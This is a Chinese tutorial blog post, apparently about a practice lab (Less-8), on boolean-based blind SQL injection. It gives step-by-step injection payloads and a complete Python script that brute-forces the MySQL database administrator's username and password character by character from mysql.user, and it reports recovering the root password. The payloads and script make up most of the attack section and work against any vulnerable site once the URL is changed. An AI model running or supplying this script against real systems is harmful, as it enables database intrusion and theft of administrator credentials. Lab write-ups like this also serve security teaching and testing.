Python猜解网站数据库管理员密码的脚本

作者:士别三日wyx 时间:2024-01-23 16:55:02 

一、功能分析

简单分析一下网站的功能,大致如下:

需要用户在地址栏中提交参数,根据参数中的id查询对应的用户信息。

如果id存在,则显示查询成功,比如 输入?id=1

Python猜解网站数据库管理员密码的脚本

如果id不存在,则页面空显示,比如输入 ?id=0(用户id不能是0或负数,id为0时,查询结果为空,会导致页面空显示)

Python猜解网站数据库管理员密码的脚本

如果数据库报错,页面也是空显示,比如输入?id=1’ 或 ?id=1"(参数中携带引号会导致数据库报错,前提是后台代码未过滤单引号)

Python猜解网站数据库管理员密码的脚本

二、思路分析

页面没有显示位,不适合联合注入。

没有数据库的报错信息,不适合使用报错注入。

只有正确和错误两种情况,推荐使用布尔盲注。

网站没有过滤参数,不需要绕过,盲注的时间复杂度较高,文末提供Python脚本。

三、步骤实现

1)判断注入点

输入参数 ?id=1’,页面空显示,说明单引号被数据库识别,导致数据库报错。

Python猜解网站数据库管理员密码的脚本

输入参数 ?id=1",页面正常显示查询成功,说明双引号未被数据库识别;1" 被数据库识别成了 1,实际查询了id为1的用户。

Python猜解网站数据库管理员密码的脚本

单引号可以识别,双引号不被识别,初步判断:网站的注入点是单引号,下面使用万能账号进一步验证。

输入 ?id=1’ and 1 – a,页面正常显示,查询成功。

Python猜解网站数据库管理员密码的脚本

输入 ?id=1’ and 0 – a,页面空显示,未查询到。

Python猜解网站数据库管理员密码的脚本

人为构造参数可以使页面产生对应的变化,由此判断,网站存在注入,注入点为单引号字符型注入。

2)猜解长度

输入参数 ?id=1’ and length(“abc”)>1 – a,页面正常显示查询成功。

length(“abc”)可以计算出字符串“abc”的长度,长度为3。

length(“abc”)>1 结果为 true,因此,参数等价于 ?id=1’ and 1 – a。

Python猜解网站数据库管理员密码的脚本

输入参数 ?id=1&rsquo; and length(&ldquo;abc&rdquo;)<1 &ndash; a,页面空显示。

length(&ldquo;abc&rdquo;)<1 结果为 false,参数等价于 ?id=1&rsquo; and 0 &ndash; a。

Python猜解网站数据库管理员密码的脚本

由此可以推断出,长度函数未被过滤,可以正常使用,接下来我们开始猜解数据库管理员密码的长度。

mysql.user表用来存放数据库的用户名和密码等信息,我们查询这个表即可。

输入以下payload:

?id=1' and length(
   (select group_concat(user,password)
   from mysql.user)
)=1 -- a

我们先假设用户名和密码的总长度为1,结果肯定是空显示,我们将测试长度依次递增,测试2到n,当测试长度递增到42时,页面正常显示,由此可判断用户名和密码的总长度为42,payload如下:

?id=1' and length(
   (select group_concat(user,password)
   from mysql.user)
)=42 -- a

Python猜解网站数据库管理员密码的脚本

3)猜解数据

长度确定后,我们从第一个字符开始,猜解出完整的数据。

ASCLL码表中包含了字符的所有可能性(字母、数字或特殊符号),ASCLL总共127个字符,其中可输入的字符只有32~126,我们穷举每一种可能性,即可猜解出

完整的数据。

我们先假设第一个字符的ASCLL码是32,payload如下:

?id=1' and ascii(substr(
   (select group_concat(user,password)
   from mysql.user)
,1,1))=32 -- a

页面空显示说明错误,我们从32开始递增至126,当页面正常显示时(出现 You are in&hellip;&hellip;),说明猜解正确。

4)猜解脚本

使用盲注时,手动猜解时间成本太大,推荐使用Python猜解,脚本如下:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
                   select group_concat(user,password)
                   from mysql.user
               ))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
                   select group_concat(user,password)
                   from mysql.user
               ),{n},1))={r} -- a  """

# 获取长度
def getLength(url, payload):
   length = 1  # 初始测试长度为1
   while True:
       response = requests.get(url= url+payload_len.format(n= length))
       # 页面中出现此内容则表示成功
       if 'You are in...........' in response.text:
           print('测试长度完成,长度为:', length)
           return length;
       else:
           print('正在测试长度:',length)
           length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
   str = ''  # 初始表名/库名为空
   for l in range(1, length+1):
       for n in range(33, 126):
           response = requests.get(url= url+payload_str.format(n= l, r= n))
           if 'You are in...........' in response.text:
               str+= chr(n)
               print('第', l, '个字符猜解成功:', str)
               break;
   return str;

# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))

脚本猜解结果如下,成功猜解root用户密码:

Python猜解网站数据库管理员密码的脚本

来源:https://blog.csdn.net/wangyuxiang946/article/details/122964132

标签:Python,网站,管理员,密码
0
投稿

猜你喜欢

  • SQL分页查询方式汇总

    2024-01-24 00:33:29
  • js+css实现换肤效果

    2024-04-17 09:53:54
  • python爬取微信公众号文章

    2021-12-30 18:46:35
  • python 字典有序并写入json文件过程解析

    2021-08-21 21:12:01
  • Python 实现数据结构-循环队列的操作方法

    2022-10-13 23:15:00
  • pytest配置文件pytest.ini的详细使用

    2021-10-25 07:48:04
  • Python基础Lists和tuple实例详解

    2021-09-27 04:11:36
  • Python中for循环和while循环的基本使用方法

    2021-02-21 01:29:48
  • mysql8创建、删除用户以及授权、消权操作详解

    2024-01-13 22:46:34
  • 用python与文件进行交互的方法

    2021-05-22 12:39:35
  • Vue $emit()不能触发父组件方法的原因及解决

    2024-05-28 16:10:26
  • 浅谈MySQL8.0 异步复制的三种方式

    2024-01-29 00:26:46
  • Python库functools示例详解

    2021-03-10 07:01:27
  • 详解利用python-highcharts库绘制交互式可视化图表

    2022-05-05 14:29:53
  • cmd连接mysql的方法详解

    2024-01-17 12:10:58
  • sql 版本详解 让你认识跟sql2000的区别

    2024-01-26 03:58:34
  • python实现随机漫步方法和原理

    2023-06-26 19:32:02
  • python文件读写代码实例

    2023-08-09 19:29:52
  • BootStrap的alert提示框的关闭后再显示怎么解决

    2024-04-28 09:50:24
  • 使用python将图片按标签分入不同文件夹的方法

    2021-04-14 05:34:54
  • asp之家 网络编程 m.aspxhome.com